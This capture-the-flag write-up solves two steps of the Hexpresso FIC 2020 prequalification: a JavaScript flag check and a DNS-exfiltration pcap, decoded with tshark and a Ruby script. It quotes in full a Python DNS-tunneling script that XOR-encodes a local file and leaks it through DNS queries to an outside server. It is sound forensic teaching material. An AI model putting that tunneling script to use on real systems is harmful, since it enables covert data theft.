CTF
Name : Hexpresso FIC CTF 2020 Prequalification Round
Website : ctf.hexpresso.fr
Type : Online
Format : Jeopardy
Step 1
https://ctf.hexpresso.fr/2cd2362f7d4c063279c047618d4a2d38
Let's see the source CTRL+U , there is a script:
const play = () => {
var game = new Array (
116 ,
228 ,
203 ,
270 ,
334 ,
382 ,
354 ,
417 ,
485 ,
548 ,
586 ,
673 ,
658 ,
761 ,
801 ,
797 ,
788 ,
850 ,
879 ,
894 ,
959 ,
1059 ,
1071 ,
1140 ,
1207 ,
1226 ,
1258 ,
1305 ,
1376 ,
1385 ,
1431 ,
1515
);
const u_u = "CTF.By.HexpressoCTF.By.Hexpresso" ;
const flag = document . getElementById ( "flag" ). value ;
for ( i = 0 ; i < u_u . length ; i ++ ) {
if ( u_u . charCodeAt ( i ) + flag . charCodeAt ( i ) + i * 42 != game [ i ]) {
alert ( "NOPE" );
return ;
}
}
// Good j0b
alert ( "WELL DONE!" );
document . location . replace (
document . location . protocol +
"//" +
document . location . hostname +
"/" +
flag
);
};
/**
** Thanks all <3
** @HexpressoCTF
**
** The next step is here : https://ctf.hexpresso.fr/{p_p}
**/
Solution by Shrewk to decode the previous encoding:
var u_u = "CTF.By.HexpressoCTF.By.Hexpresso" ;
var game = new Array (
116 ,
228 ,
203 ,
270 ,
334 ,
382 ,
354 ,
417 ,
485 ,
548 ,
586 ,
673 ,
658 ,
761 ,
801 ,
797 ,
788 ,
850 ,
879 ,
894 ,
959 ,
1059 ,
1071 ,
1140 ,
1207 ,
1226 ,
1258 ,
1305 ,
1376 ,
1385 ,
1431 ,
1515
);
var x
var str = ''
for ( i = 0 ; i < u_u . length ; i ++ ) {
var y = i * 42
x = game [ i ] - u_u . charCodeAt ( i ) - y
var s = String . fromCharCode ( x )
str += s
}
console . log ( str )
So the link for the next step is:
https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f
.
Step 2
https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f
Old EXFIL but Gold
Nous soupçonnons une exfiltration de données.
Nous avons capturé des données réseaux, à vous d'extraire le lien pour la prochaine étape !
💻 here 💻
Open the pcap with Wireshark, it seems like a DNS exfiltration/tunneling.
Let's look at my WU inception challenge during hxp CTF 2017 .
Let's read again the SANS whitepaper Detecting DNS Tunneling .
But here we don't need to find which tool was used for the DNS exfiltration
because in frame n°4, which is a HTTP GET on /index.html
we can see the
following content:
<! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN" >
< html >
< head >
< title >Index of /</ title >
</ head >
< body >
< h1 >Index of /</ h1 >
< table >
< tr >< th valign = "top" >< img src = "/icons/blank.gif" alt = "[ICO]" ></ th >< th >< a href = "?C=N;O=A" >Name</ a ></ th >< th >< a href = "?C=M;O=A" >Last modified</ a ></ th >< th >< a href = "?C=S;O=D" >Size</ a ></ th >< th >< a href = "?C=D;O=A" >Description</ a ></ th ></ tr >
< tr >< th colspan = "5" >< hr ></ th ></ tr >
< tr >< td valign = "top" >< img src = "/icons/back.gif" alt = "[PARENTDIR]" ></ td >< td >< a href = "/" >Parent Directory</ a > </ td >< td > </ td >< td align = "right" > - </ td >< td > </ td ></ tr >
< tr >< td valign = "top" >< img src = "/icons/folder.gif" alt = "[DIR]" ></ td >< td >< a href = "0days/" >0days/</ a > </ td >< td align = "right" >2019-10-01 07:45 </ td >< td align = "right" > - </ td >< td > </ td ></ tr >
< tr >< td valign = "top" >< img src = "/icons/folder.gif" alt = "[DIR]" ></ td >< td >< a href = "plan de domination du monde" >plan de domination du monde/</ a > </ td >< td align = "right" >2018-12-14 12:40 </ td >< td align = "right" > - </ td >< td > </ td ></ tr >
< tr >< td valign = "top" >< img src = "/icons/prog.gif" alt = "[PY]" ></ td >< td >< a href = "dnstunnel.py" >dnstunnel.py</ a > </ td >< td align = "right" >2019-06-14 11:52 </ td >< td align = "right" > - </ td >< td > </ td ></ tr >
< tr >< td valign = "top" >< img src = "/icons/prog.gif" alt = "[C]" ></ td >< td >< a href = "sshdRCE_preauth.c" >sshdRCE_preauth.c</ a > </ td >< td align = "right" >2018-04-07 19:03 </ td >< td align = "right" > - </ td >< td > </ td ></ tr >
< tr >< th colspan = "5" >< hr ></ th ></ tr >
</ table >
</ body ></ html >
It's a directory listing and there are some files of interest:
0days/
(folder)
plan de domination du monde
(troll)
dnstunnel.py
which must be the DNS tunneling tool used
sshdRCE_preauth.c
let's see later if it is useful or not
Then there is another HTTP GET for retrieving dnstunnel.py
:
#! /usr/bin/python3
# I have no idea of what I'm doing
#Because why not!
import random
import os
f = open ( 'data.txt' , 'rb' )
data = f. read ()
f. close ()
print ( "[+] Sending %d bytes of data" % len (data))
#This is propa codaz
print ( "[+] Cut in pieces ... " )
def encrypt ( l ):
#High quality cryptographer!
key = random. randint ( 13 , 254 )
output = hex (key)[ 2 :]. zfill ( 2 )
for i in range ( len (l)):
aes = ord (l[i]) ^ key
#my computer teacher hates me
output += hex (aes)[ 2 :]. zfill ( 2 )
return output
def udp_secure_tunneling ( my_secure_data ):
#Gee, I'm so bad at coding
#if 0:
mycmd = "host -t A %s .local.tux 172.16.42.222" % my_secure_data
os. system (mycmd)
#We loose packet sometimes?
os. system ( "sleep 1" )
#end if
def send_data ( s ):
#because I love globals
global n
n = n + 1
length = random. randint ( 4 , 11 )
# If we send more bytes we can recover if we loose some packets?
redundancy = random. randint ( 2 , 16 )
chunk = data[s:s + length + redundancy]. decode ( "utf-8" )
chunk = " %04d%s " % (s,chunk)
print ( " %04d packet --> %s .local.tux" % (n,chunk))
blob = encrypt (chunk)
udp_secure_tunneling (blob)
return s + length
cursor = 0
n = 0
while cursor <len (data):
cursor = send_data (cursor)
#Is it ok?
There is some redundancy, so we must remove it before decoding.
redundancy = random. randint ( 2 , 16 )
chunk = data[s:s + length + redundancy]. decode ( "utf-8" )
Also the key is only 2 hexadecimal character long (because a decimal between 13 and 254 is chosen), and that will be the 2 first
characters of each chunk.
key = random. randint ( 13 , 254 )
output = hex (key)[ 2 :]. zfill ( 2 )
Also once deciphered the 4 first chars of the message should be the sequence id
of the message so we must be able to put them back in the right order.
chunk = " %04d%s " % (s,chunk)
Let's use tshark to extract the data:
tshark -r capture.pcap -Y 'ip.dst == 172.16.42.222 && dns' -T fields -e 'dns.qry.name'
ip.dst == 172.16.42.222
filter with the destination IP
dns
filter to keep only DNS traffic (we should have only A queries)
-T fields -e 'dns.qry.name'
Display only the DNS query name field
| tr "\n" ','
replace newlines with a space to get a computable list
$ tshark -r capture.pcap -Y 'ip.dst == 172.16.42.222 && dns' -T fields -e 'dns.qry.name' | tr "\n" ' '
a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8.local.tux a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0.local.tux 88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8.local.tux 1929292a2976397f786b381313517c6b7c39706a396d.local.tux cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea.local.tux edddddd9d4cd81848386cd8483cd8f8c9e.local.tux 6b5b5b5e520a180e58594b0d0419.local.tux 4f7f7f797b6f29203d227545010d7d07067b0b1b070617.local.tux ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff.local.tux 9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5.local.tux 6c5c5c545d343f5a355f392135342b3d362035.local.tux 6f5f5f575a5c3a223637283e352336.local.tux e4d4d4ddd6bea8bdaba6bea3.local.tux d7e7e7eee08d909ce3e48399e38f909ae3.local.tux 73434243403d472b343e47212334264027203c37373e3641373c.local.tux daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183.local.tux 4272737070060d1806000f0c1116091b18140f177105.local.tux 36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c.local.tux 9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1.local.tux 54646560650e02131d60005e191b1e051919601019190e0013606605016969.local.tux 25151410176868116168687f716211177470181818.local.tux f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7.local.tux 7b4b4a4d482a2e46464671715b245b5b5b5b5b5b.local.tux 95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5.local.tux d8e8e9efe1f8f8f8f8f8f8f8f8.local.tux d6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6.local.tux 0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f.local.tux eededfd7d8cecececececececececece.local.tux 56666466637676767676767676767676765c2a.local.tux 7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22.local.tux 94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb.local.tux 7c4c4e4e442323235c5c2323235c23235c.local.tux b585878680ea95eaea9595ea95eaea.local.tux facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5.local.tux 10202225234f304f4f4f30304f4f4f.local.tux daeae8eceb8585fafad0a6.local.tux 75454743407f0955522a5529555a552a55295529.local.tux 6656545155494639463a463a494649464139463a1a464139.local.tux 4e7e7c767d6e69116e12326e691111616e.local.tux 5f6f6d6767237f780000707f007f03707f0000707f0000.local.tux eddddfd4d5c2cdb2b2c2cdb2b291c2.local.tux e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8.local.tux 88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4.local.tux 83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff.local.tux 48787b7a70687434683417616834683468346868.local.tux cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192.local.tux eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce.local.tux b38380868093ef939bec9a93cfb9cfeccf93cfeccfef.local.tux c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d.local.tux 28181b1f197777077707747774080677770754775408087477777754547777.local.tux 80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf.local.tux 3b0b0803026764646447476464641464.local.tux 93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3.local.tux 41717571701e6e1d1e1e1e6e614b6161616161616161616161.local.tux 28181c18112208080808080808.local.tux ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1.local.tux d3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3.local.tux 97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7.local.tux f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2.local.tux 340400000714141414141414141414141414143e3e3e.local.tux 9fafababa8bfbfbfbfbfbfbfbfbfbf959595.local.tux 6555515056454545456f6f6f.local.tux 84b4b0b1bd8e.local.tux
Let's decode that with a ruby script:
#!/usr/bin/env ruby
# use the %w shortcut to create an array of strings without quotes or commas
hostnames = % w[a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8.local.tux a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0.local.tux 88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8.local.tux 1929292a2976397f786b381313517c6b7c39706a396d.local.tux cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea.local.tux edddddd9d4cd81848386cd8483cd8f8c9e.local.tux 6b5b5b5e520a180e58594b0d0419.local.tux 4f7f7f797b6f29203d227545010d7d07067b0b1b070617.local.tux ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff.local.tux 9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5.local.tux 6c5c5c545d343f5a355f392135342b3d362035.local.tux 6f5f5f575a5c3a223637283e352336.local.tux e4d4d4ddd6bea8bdaba6bea3.local.tux d7e7e7eee08d909ce3e48399e38f909ae3.local.tux 73434243403d472b343e47212334264027203c37373e3641373c.local.tux daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183.local.tux 4272737070060d1806000f0c1116091b18140f177105.local.tux 36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c.local.tux 9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1.local.tux 54646560650e02131d60005e191b1e051919601019190e0013606605016969.local.tux 25151410176868116168687f716211177470181818.local.tux f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7.local.tux 7b4b4a4d482a2e46464671715b245b5b5b5b5b5b.local.tux 95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5.local.tux d8e8e9efe1f8f8f8f8f8f8f8f8.local.tux d6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6.local.tux 0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f.local.tux eededfd7d8cecececececececececece.local.tux 56666466637676767676767676767676765c2a.local.tux 7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22.local.tux 94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb.local.tux 7c4c4e4e442323235c5c2323235c23235c.local.tux b585878680ea95eaea9595ea95eaea.local.tux facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5.local.tux 10202225234f304f4f4f30304f4f4f.local.tux daeae8eceb8585fafad0a6.local.tux 75454743407f0955522a5529555a552a55295529.local.tux 6656545155494639463a463a494649464139463a1a464139.local.tux 4e7e7c767d6e69116e12326e691111616e.local.tux 5f6f6d6767237f780000707f007f03707f0000707f0000.local.tux eddddfd4d5c2cdb2b2c2cdb2b291c2.local.tux e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8.local.tux 88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4.local.tux 83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff.local.tux 48787b7a70687434683417616834683468346868.local.tux cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192.local.tux eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce.local.tux b38380868093ef939bec9a93cfb9cfeccf93cfeccfef.local.tux c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d.local.tux 28181b1f197777077707747774080677770754775408087477777754547777.local.tux 80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf.local.tux 3b0b0803026764646447476464641464.local.tux 93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3.local.tux 41717571701e6e1d1e1e1e6e614b6161616161616161616161.local.tux 28181c18112208080808080808.local.tux ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1.local.tux d3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3.local.tux 97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7.local.tux f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2.local.tux 340400000714141414141414141414141414143e3e3e.local.tux 9fafababa8bfbfbfbfbfbfbfbfbfbf959595.local.tux 6555515056454545456f6f6f.local.tux 84b4b0b1bd8e.local.tux]
# build a hash to store messages and sequences
index = {}
hostnames.each do | host |
# Extract data, what is before .local.tux
data = host.split( '.' )[ 0 ]
# The two first char are the key in hex
key = data[ 0 ... 2 ]
# The rest is the data encoded in hex
message = data[ 2 ...]
output = ''
# Split the data every 2 char
message.scan( /. {2} / ).each do | hex |
# XOR back to decipher
decrypted = hex.to_i( 16 ) ^ key.to_i( 16 )
# decimal to ASCII char
output += decrypted.chr
end
# Let's sequence the message: index {sequence ID => message}
index.store(output[ 0 ... 4 ].to_i, output[ 4 ...])
end
# Display only messages
#index.values.each do |m|
# puts m
#end
# display messages and sequences
pp index
We can see a message like the following, the problem now is the redundancy.
{0=>"Congratulations!! Y",
11=>"ions!! You did it so f",
20=>"u did it so far!\n" + "\n" + "Here is ",
30=>"o far!\n" + "\n" + "Here is t",
39=>"ere is the link ",
49=>" link in bas",
59=>"ase32 for",
64=>" form:\n" + "NB2HI4DTHIX",
71=>"NB2HI4DTHIXS6Y3UMYXGQ",
77=>"DTHIXS6Y3UMYXGQZLY",
81=>"XS6Y3UMYXGQZLY",
85=>"3UMYXGQZLY",
92=>"ZLYOBZG",
97=>"ZGK43TN4XGM4",
103=>"N4XGM4RPGU3TSODDME2DO",
112=>"U3TSODDME2DOZDBMNSTKY",
122=>"DOZDBMNSTKYZVMU3G",
127=>"MNSTKYZVMU3GIMZVGI4T\n" + "MOJ",
137=>"3GIMZVGI4T\n" + "MOJQM",
141=>"ZVGI4T\n" + "MOJQMM4DMMZTG42QU==",
152=>"MM4DMMZTG42QU===",
159=>"TG42QU===\n" + "\n" + " _ ",
163=>"QU===\n" + "\n" + " _ ",
168=>"\n" + "\n" + " _ ",
179=>" ",
183=>" ",
189=>" ",
196=>" ",
205=>" \n" + "|",
213=>" \n" + "| |__ _",
224=>" _____ ___ _",
228=>"___ ___ __ ",
235=>"_ __ _ __",
243=>"__ ___ ___ ___ _",
253=>"_ ___ ___",
261=>"__ \n" + "|",
265=>"\n" + "| '_ \\ / _ \\ \\",
273=>"/ _ \\ \\/ / '_ \\| '_",
283=>" '_ \\| '__/ ",
288=>"| '__/ _ \\/ __/ __",
298=>"/ __/ __|/",
303=>" __|/ _ \\ \n" + "| | | | __/",
310=>" \\ \n" + "| | | | __/> <| |",
320=>"| __/> <| |",
328=>" <| |_) | | | ",
333=>"_) | | | __/\\__ \\_",
342=>" __/\\__ \\__ \\ (_) |\n" + "|_| ",
353=>" \\ (_) |\n" + "|_| |_|\\",
362=>"|_| |_|\\___/_/\\_\\ ._",
371=>"__/_/\\_\\ .__/|_| \\___||__",
382=>"_/|_| \\___||___/",
389=>"\\___||___/_",
397=>"_/___/\\___/ \n" + " ",
401=>"_/\\___/ \n" + " ",
409=>"\n" + " ",
413=>" |",
424=>" |_| ",
431=>" ",
435=>" ",
443=>" \n" + "\n" + "\n",
447=>" \n" + "\n" + "\n",
453=>" \n" + "\n" + "\n",
459=>"\n"}
To see the range of redundancy we have let's replace the previous display with:
# See redundancy ranges
index.each do | k , v |
puts " #{ k } - #{ k + v.size } "
end
We have the following:
0-19
11-33
20-46
30-47
39-55
49-61
59-68
64-82
71-92
77-95
81-95
85-95
92-99
97-109
103-124
112-133
122-139
127-151
137-153
141-167
152-168
159-176
163-178
168-185
179-187
183-200
189-208
196-207
205-219
213-227
224-238
228-240
235-245
243-261
253-263
261-267
265-280
273-292
283-295
288-306
298-308
303-326
310-333
320-333
328-343
333-352
342-366
353-370
362-382
371-397
382-399
389-400
397-416
401-421
409-417
413-427
424-439
431-451
435-455
443-460
447-460
453-460
459-460
The easiest way is to store each char in an array or a hash and then remove
duplicates.
Let's change our display with
all_chars = {}
index.each do | k , v |
# store each char and sequence id in an array
v.each_char.with_index( 0 ) do | c , i |
all_chars.store(k + i, c)
end
end
# ruby hash will automatically overides the value when the same key is used
# so we won't have duplicate
# Then just convert the hash to an array to a string
puts all_chars.values.to_a.join
Now we have this output:
Congratulations!! You did it so far!
Here is the link in base32 form:
NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T
MOJQMM4DMMZTG42QU===
_
| |__ _____ ___ __ _ __ ___ ___ ___ ___
| '_ \ / _ \ \/ / '_ \| '__/ _ \/ __/ __|/ _ \
| | | | __/> <| |_) | | | __/\__ \__ \ (_) |
|_| |_|\___/_/\_\ .__/|_| \___||___/___/\___/
|_|
So the link to step 3 is:
$ printf %s 'NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4TMOJQMM4DMMZTG42QU===' | base32 -d
https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375